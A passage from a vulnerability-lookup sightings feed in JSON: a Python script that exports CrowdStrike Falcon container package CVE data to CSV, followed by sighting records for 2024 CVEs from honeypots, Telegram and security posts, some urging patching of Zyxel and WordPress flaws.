text=True, check=True)\n            return result.stdout.strip()\n        except subprocess.CalledProcessError:\n            pass\n    return None\n\n\ndef get_oauth_token(base_url=\"https://api.crowdstrike.com\", profile=None):\n    if profile is None:\n        profile = get_falcon_profile()\n    client_id = get_keychain_password(\"falcon-client-id\", \"client-id\", profile)\n    client_secret = get_keychain_password(\"falcon-client-secret\", \"client-secret\", profile)\n    if not client_id or not client_secret:\n        print(f\"Credentials not found for profile: {profile}\")\n        print(f\"Run: /cid add {profile}\")\n        sys.exit(1)\n    url = f\"{base_url}/oauth2/token\"\n    data = {\"client_id\": client_id, \"client_secret\": client_secret}\n    resp = requests.post(url, headers={\"Content-Type\": \"application/x-www-form-urlencoded\"}, data=data)\n    if resp.status_code != 201:\n        print(f\"Auth failed: {resp.status_code} {resp.text}\")\n        sys.exit(1)\n    return resp.json()[\"access_token\"]\n\n\n# \u2500\u2500 API: Package export (with embedded CVEs) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef fetch_packages_page(token, fql_filter, offset, limit, base_url):\n    \"\"\"GET /container-security/combined/packages-export/v1\"\"\"\n    url = f\"{base_url}/container-security/combined/packages-export/v1\"\n    params = {\"limit\": limit, \"offset\": offset}\n    if fql_filter:\n        params[\"filter\"] = fql_filter\n    headers = {\"Authorization\": f\"Bearer {token}\"}\n    resp = requests.get(url, headers=headers, params=params)\n    if resp.status_code != 200:\n        print(f\"  API error {resp.status_code}: {resp.text[:400]}\", file=sys.stderr)\n        return [], 0\n    body = resp.json()\n    resources = body.get(\"resources\") or []\n    total = body.get(\"meta\", {}).get(\"pagination\", {}).get(\"total\", len(resources))\n    return resources, total\n\n\ndef fetch_all_packages(token, fql_filter, base_url, page_size=500):\n    all_pkgs = []\n    offset = 0\n    total = None\n    while True:\n        batch, total = fetch_packages_page(token, fql_filter, offset, page_size, base_url)\n        if not batch:\n            break\n        all_pkgs.extend(batch)\n        print(f\"  Fetched {len(all_pkgs)} / {total}\", end=\"\\r\", file=sys.stderr)\n        if len(all_pkgs) >= total or len(batch) < page_size:\n            break\n        offset += page_size\n    print(file=sys.stderr)\n    return all_pkgs, total\n\n\n# \u2500\u2500 API: CVE-specific vulnerability info (images + packages per CVE) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef fetch_vuln_info(token, cve_id, base_url, limit=500):\n    \"\"\"\n    GET /container-security/combined/vulnerabilities-info/v1\n    Returns package + image data for a single CVE.\n    Use this for --cve mode to get the most complete picture.\n    \"\"\"\n    url = f\"{base_url}/container-security/combined/vulnerabilities-info/v1\"\n    all_results = []\n    offset = 0\n    while True:\n        params = {\"cve_id\": cve_id, \"limit\": limit, \"offset\": offset}\n        headers = {\"Authorization\": f\"Bearer {token}\"}\n        resp = requests.get(url, headers=headers, params=params)\n        if resp.status_code != 200:\n            print(f\"  vuln-info error {resp.status_code}: {resp.text[:300]}\", file=sys.stderr)\n            break\n        body = resp.json()\n        batch = body.get(\"resources\") or []\n        all_results.extend(batch)\n        total = body.get(\"meta\", {}).get(\"pagination\", {}).get(\"total\", len(batch))\n        if len(all_results) >= total or len(batch) < limit:\n            break\n        offset += limit\n    return all_results\n\n\n# \u2500\u2500 Row builders \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef explode_package_to_rows(pkg):\n    \"\"\"\n    Convert one package record (with embedded vulnerabilities list) into\n    N rows, one per CVE.\n    \"\"\"\n    # Package-level fields\n    base = {\n        \"package_name\":        pkg.get(\"package_name\") or pkg.get(\"name\", \"\"),\n        \"package_version\":     pkg.get(\"package_version\") or pkg.get(\"version\", \"\"),\n        \"package_type\":        pkg.get(\"type\", \"\"),\n        \"package_path\":        pkg.get(\"package_path\") or pkg.get(\"path\", \"\"),\n        \"license\":             pkg.get(\"license\", \"\"),\n        \"fix_status\":          pkg.get(\"fix_status\", \"\"),\n        \"running_images_count\": pkg.get(\"running_images_count\", \"\"),\n        \"all_images_count\":    pkg.get(\"images_count\", \"\"),\n        # Image context - API may return a list of images for this package\n        \"affected_registries\": \"; \".join(set(\n            i.get(\"registry\", \"\") for i in (pkg.get(\"images\") or []) if i.get(\"registry\")\n        )),\n        \"affected_repositories\": \"; \".join(set(\n            i.get(\"repository\", \"\") for i in (pkg.get(\"images\") or []) if i.get(\"repository\")\n        )),\n        \"affected_image_ids\":  \"; \".join(\n            i.get(\"image_id\") or i.get(\"id\", \"\") for i in (pkg.get(\"images\") or [])[:20]\n        ),\n        \"affected_image_tags\": \"; \".join(\n            f\"{i.get('repository','')}:{i.get('tag','')}\" for i in (pkg.get(\"images\") or [])[:20]\n        ),\n        \"affected_container_ids\": \"; \".join(\n            i.get(\"container_id\", \"\") for i in (pkg.get(\"images\") or []) if i.get(\"container_id\")\n        ),\n    }\n\n    vulns = pkg.get(\"vulnerabilities\") or pkg.get(\"cve_ids\") or []\n\n    if not vulns:\n        # No CVE data embedded - return one row with empty CVE fields\n        row = dict(base)\n        row.update({\n            \"cve_id\": \"\",\n            \"severity\": \"\",\n            \"cvss_score\": \"\",\n            \"description\": \"\",\n            \"remediation\": \"\",\n            \"fix_available\": \"\",\n            \"exploited_status\": \"\",\n            \"is_zero_day\": \"\",\n            \"published_date\": \"\",\n        })\n        return [row]\n\n    rows = []\n    for v in vulns:\n        # vulns may be strings (CVE IDs) or dicts depending on endpoint\n        if isinstance(v, str):\n            row = dict(base)\n            row.update({\n                \"cve_id\": v,\n                \"severity\": \"\",\n                \"cvss_score\": \"\",\n                \"description\": \"\",\n                \"remediation\": \"\",\n                \"fix_available\": \"\",\n                \"exploited_status\": \"\",\n                \"is_zero_day\": \"\",\n                \"published_date\": \"\",\n            })\n        else:\n            row = dict(base)\n            row.update({\n                \"cve_id\":          v.get(\"cve_id\", \"\"),\n                \"severity\":        v.get(\"severity\", \"\"),\n                \"cvss_score\":      v.get(\"cvss_score\", \"\"),\n                \"description\":     v.get(\"description\", \"\"),\n                \"remediation\":     v.get(\"remediation\", \"\"),\n                \"fix_available\":   v.get(\"fix_status\", \"\") or base[\"fix_status\"],\n                \"exploited_status\": v.get(\"exploited_status\", \"\"),\n                \"is_zero_day\":     v.get(\"is_zero_day\", \"\"),\n                \"published_date\":  v.get(\"published_date\", \"\"),\n            })\n        rows.append(row)\n    return rows\n\n\ndef rows_from_vuln_info(cve_id, resources):\n    \"\"\"\n    Build rows from /vulnerabilities-info/v1 response.\n    Each resource is a package with embedded image list.\n    \"\"\"\n    rows = []\n    for r in resources:\n        row = {\n            \"cve_id\":          cve_id,\n            \"severity\":        r.get(\"severity\", \"\"),\n            \"cvss_score\":      r.get(\"cvss_score\", \"\"),\n            \"description\":     r.get(\"description\", \"\"),\n            \"remediation\":     r.get(\"remediation\", \"\"),\n            \"fix_available\":   r.get(\"fix_status\", \"\"),\n            \"exploited_status\": r.get(\"exploited_status\", \"\"),\n            \"is_zero_day\":     r.get(\"is_zero_day\", \"\"),\n            \"published_date\":  r.get(\"published_date\", \"\"),\n            \"package_name\":    r.get(\"package_name\", \"\"),\n            \"package_version\": r.get(\"package_version\", \"\"),\n            \"package_type\":    r.get(\"package_type\") or r.get(\"type\", \"\"),\n            \"package_path\":    r.get(\"package_path\", \"\"),\n            \"license\":         r.get(\"license\", \"\"),\n            \"running_images_count\": r.get(\"running_images_count\", \"\"),\n            \"all_images_count\": r.get(\"images_count\", \"\"),\n            # Affected images list\n            \"affected_registries\":    \"; \".join(set(\n                i.get(\"registry\", \"\") for i in (r.get(\"images\") or []) if i.get(\"registry\")\n            )),\n            \"affected_repositories\":  \"; \".join(set(\n                i.get(\"repository\", \"\") for i in (r.get(\"images\") or []) if i.get(\"repository\")\n            )),\n            \"affected_image_tags\":    \"; \".join(\n                f\"{i.get('repository','')}:{i.get('tag','')}\" for i in (r.get(\"images\") or [])[:30]\n            ),\n            \"affected_image_ids\":     \"; \".join(\n                i.get(\"image_id\") or i.get(\"id\", \"\") for i in (r.get(\"images\") or [])[:30]\n            ),\n            \"affected_container_ids\": \"; \".join(\n                i.get(\"container_id\", \"\") for i in (r.get(\"images\") or []) if i.get(\"container_id\")\n            ),\n        }\n        rows.append(row)\n    return rows\n\n\n# \u2500\u2500 FQL builder \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef build_fql(args):\n    parts = []\n    if args.severity:\n        parts.append(f\"severity:'{args.severity}'\")\n    if args.registry:\n        # package API filters by image metadata\n        parts.append(f\"registry:'{args.registry}'\")\n    if args.cve:\n        parts.append(f\"cveid:'{args.cve}'\")\n    if args.fix_available:\n        parts.append(\"fix_status:'TRUE'\")\n    return \"+\".join(parts) if parts else None\n\n\n# \u2500\u2500 Main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description=\"Export package vulnerabilities as one row per CVE (fixes combined-fields CSV).\")\n    parser.add_argument(\"--profile\", help=\"CID profile\")\n    parser.add_argument(\"--cve\", help=\"Show all packages affected by this CVE (e.g. CVE-2024-1234)\")\n    parser.add_argument(\"--severity\", choices=[\"critical\",\"high\",\"medium\",\"low\"],\n                        help=\"Filter by vulnerability severity\")\n    parser.add_argument(\"--registry\", help=\"Filter by image registry\")\n    parser.add_argument(\"--fix-available\", action=\"store_true\",\n                        help=\"Only include vulnerabilities with a fix available\")\n    parser.add_argument(\"--output\", \"-o\", default=\"-\",\n                        help=\"Output CSV path (default: stdout)\")\n    parser.add_argument(\"--limit\", type=int, default=5000,\n                        help=\"Max packages to fetch (default: 5000)\")\n    args = parser.parse_args()\n\n    profile = args.profile or get_falcon_profile()\n    region = get_keychain_password(\"falcon-cloud-region\", \"region\", profile) or \"us-1\"\n    base_url = \"https://api.crowdstrike.com\" if region == \"us-1\" else f\"https://api.{region}.crowdstrike.com\"\n\n    print(\"=== Falcon Package CVE Report ===\", file=sys.stderr)\n    print(f\"Profile: {profile}  Region: {region}\", file=sys.stderr)\n\n    token = get_oauth_token(base_url, profile=profile)\n    print(\"\u2713 Authenticated\", file=sys.stderr)\n\n    all_rows = []\n\n    if args.cve:\n        # CVE-first mode: use vulnerabilities-info endpoint for richest data\n        print(f\"Fetching all packages affected by {args.cve}...\", file=sys.stderr)\n        resources = fetch_vuln_info(token, args.cve, base_url)\n        print(f\"\u2713 {len(resources)} package records found\", file=sys.stderr)\n        all_rows = rows_from_vuln_info(args.cve, resources)\n    else:\n        # Package-first mode: dump all packages with exploded CVEs\n        fql = build_fql(args)\n        if fql:\n            print(f\"Filter: {fql}\", file=sys.stderr)\n        print(\"Fetching packages...\", file=sys.stderr)\n        packages, total = fetch_all_packages(token, fql, base_url,\n                                              page_size=min(500, args.limit))\n        if total and len(packages) < total:\n            print(f\"\u26a0  Fetched {len(packages)} of {total} total\", file=sys.stderr)\n        print(f\"\u2713 {len(packages)} packages retrieved, exploding CVEs...\", file=sys.stderr)\n        for pkg in packages:\n            all_rows.extend(explode_package_to_rows(pkg))\n\n    if not all_rows:\n        print(\"No results found.\", file=sys.stderr)\n        sys.exit(0)\n\n    # Apply post-filter for severity (can't always push to FQL in package endpoint)\n    if args.severity and not args.cve:\n        before = len(all_rows)\n        all_rows = [r for r in all_rows if r.get(\"severity\", \"\").lower() == args.severity]\n        print(f\"  Severity filter: {before} \u2192 {len(all_rows)} rows\", file=sys.stderr)\n\n    if args.fix_available:\n        before = len(all_rows)\n        all_rows = [r for r in all_rows\n                    if str(r.get(\"fix_available\", \"\")).upper() in (\"TRUE\", \"YES\", \"1\")]\n        print(f\"  Fix-available filter: {before} \u2192 {len(all_rows)} rows\", file=sys.stderr)\n\n    fieldnames = list(all_rows[0].keys())\n    out = open(args.output, \"w\", newline=\"\") if args.output != \"-\" else sys.stdout\n    writer = csv.DictWriter(out, fieldnames=fieldnames, extrasaction=\"ignore\")\n    writer.writeheader()\n    writer.writerows(all_rows)\n    if args.output != \"-\":\n        out.close()\n        print(f\"\u2713 Written to {args.output}  ({len(all_rows)} rows)\", file=sys.stderr)\n    else:\n        print(f\"\\n\u2713 {len(all_rows)} rows written\", file=sys.stderr)\n\n\nif __name__ == \"__main__\":\n    main()\n", "creation_timestamp": "2026-05-11T14:19:10.000000Z"}, {"uuid": "7d36c950-d3b1-419b-bc33-da0079b9c429", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-11)", "content": "", "creation_timestamp": "2026-05-11T00:00:00.000000Z"}, {"uuid": "14aadb70-7c71-4058-a493-073552880f33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "Telegram/wkQ65BsOSv8w-xoeu3BkF-Scjz8NE-zjuW3X1zK8XZBDgz0", "content": "", "creation_timestamp": "2026-05-12T07:00:13.000000Z"}, {"uuid": "c34c4957-672f-4fc6-af21-cfb7b9aa2567", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "Telegram/C9r9fu6YEoVnBQugCZDMQHKTOlUI-HGg-93cpL8ym1xV_iU", "content": "", "creation_timestamp": "2026-05-12T09:00:04.000000Z"}, {"uuid": "25e6d6fa-dec2-4af6-af14-1fee06d93f1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://t.me/purp_sec/151", "content": "\ud83d\udee1 Zyxel \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-12398 \u0441 \u0440\u0435\u0439\u0442\u0438\u043d\u0433\u043e\u043c CVSS 8,8\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u043f\u0440\u043e\u0448\u0438\u0432\u043e\u043a \u0442\u043e\u0447\u0435\u043a \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 Zyxel. \u0412 \u0438\u0445 \u0447\u0438\u0441\u043b\u0435 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a NWA50AX, NWA55AXE, WAC500 \u0438 WAX610D. \u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u0430 \u043d\u043e\u0432\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0422\u0430\u043a \u0447\u0442\u043e \u043a\u0440\u0430\u0439\u043d\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f.\n\n#blue_team #Zyxel", "creation_timestamp": "2026-08-05T00:00:06.885799Z"}, {"uuid": "d31a33e6-db3c-4ea7-a98a-80101c9ea031", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-13)", "content": "", "creation_timestamp": "2026-05-13T00:00:00.000000Z"}, {"uuid": "21edb5f3-d608-4c73-b0f6-a193eca00776", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-13)", "content": "", "creation_timestamp": "2026-05-13T00:00:00.000000Z"}, {"uuid": "79c16d88-b78b-4978-b801-289e5ca0a365", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-14)", "content": "", "creation_timestamp": "2026-05-14T00:00:00.000000Z"}, {"uuid": "22463d5f-f287-4955-8657-705dd53431ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-15)", "content": "", "creation_timestamp": "2026-05-15T00:00:00.000000Z"}, {"uuid": "b89cc1dc-aebb-44e2-98b3-a116d88227e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-15)", "content": "", "creation_timestamp": "2026-05-15T00:00:00.000000Z"}, {"uuid": "b729d5b1-d3ea-402c-a1f0-9e49507d0527", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-17)", "content": "", "creation_timestamp": "2026-05-17T00:00:00.000000Z"}, {"uuid": "00337081-7b84-4e01-9782-cb92330ea411", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-17)", "content": "", "creation_timestamp": "2026-05-17T00:00:00.000000Z"}, {"uuid": "24dca2ed-03f2-4e2c-9329-4f9de938a0ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-18)", "content": "", "creation_timestamp": "2026-05-18T00:00:00.000000Z"}, {"uuid": "00c65e5a-404d-407a-9eac-80dd4612e33a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-18)", "content": "", "creation_timestamp": "2026-05-18T00:00:00.000000Z"}, {"uuid": "ad4363bf-c230-45c3-a054-fb1f30afa8c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/98dfc241-f74a-4ad3-9b5d-a312ab6e6c87", "content": "", "creation_timestamp": "2026-05-20T04:18:43.499633Z"}, {"uuid": "9dd692a1-cbed-45d1-8a8d-d0afb9f30baa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-19)", "content": "", "creation_timestamp": "2026-05-19T00:00:00.000000Z"}, {"uuid": "8d184f0c-0cbf-4102-9696-41e04ff457b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-19)", "content": "", "creation_timestamp": "2026-05-19T00:00:00.000000Z"}, {"uuid": "c628b491-0d4c-4df6-a515-8f5f09673ea3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mmd7s2zztm2y", "content": "Hackers brute-forced SonicWall Gen6 SSL-VPN logins, bypassed MFA via CVE-2024-12802, and used brief access for recon and credential checks before ransomware prep. #SonicWall #CVE202412802 #ReliaQuest", "creation_timestamp": "2026-05-21T01:00:28.633155Z"}, {"uuid": "66b6016b-98cd-40b3-bef7-e82146b3b694", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12886", "type": "published-proof-of-concept", "source": "Telegram/xh4XcnfPk8jKp2qpT8jzWwwvaCwZdGZH1ZOpAikcTE7X2rw", "content": "", "creation_timestamp": "2026-05-20T03:00:06.000000Z"}, {"uuid": "31af4d4c-4963-4462-a1a2-e5f4f8fb7af4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12886", "type": "published-proof-of-concept", "source": "Telegram/zNPCcRZLVUnG7MzXxuguKud9BYCf7Gj51sr3J84x37QbILk", "content": "", "creation_timestamp": "2026-05-20T09:00:05.000000Z"}, {"uuid": "5adac0e9-4974-4037-bbe7-fe2ea2868084", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1882", "content": "", "creation_timestamp": "2026-05-20T21:00:00.000000Z"}, {"uuid": "9e158ba3-269f-4fd0-8aee-97b0e57b3172", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-20)", "content": "", "creation_timestamp": "2026-05-20T00:00:00.000000Z"}, {"uuid": "08d53396-7114-48e9-bddb-d0377c939728", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://t.me/purp_sec/175", "content": "\ud83d\udee1\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-12365 (CVSS 8,5) \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 W3 Total Cache \u0434\u043b\u044f WordPress \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0441\u0430\u0439\u0442\u0435.\n\n\u0418\u0437-\u0437\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 is_w3tc_admin_page \u0432\u043e \u0432\u0441\u0435\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043f\u043b\u0430\u0433\u0438\u043d\u0430 \u0434\u043e 2.8.1 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u0447\u0438\u043a\u0430 \u0438 \u0432\u044b\u0448\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c nonce \u043f\u043b\u0430\u0433\u0438\u043d\u0430 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c SSRF-\u0430\u0442\u0430\u043a\u0443 \u043d\u0430 \u0441\u0430\u0439\u0442. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u044b\u0442\u044c \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e \u0441\u0430\u0439\u0442\u0435 \u0438 \u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u0445. \n\n\u0415\u0441\u043b\u0438 \u0432\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0435 \u0434\u0430\u043d\u043d\u044b\u0439 \u043f\u043b\u0430\u0433\u0438\u043d, 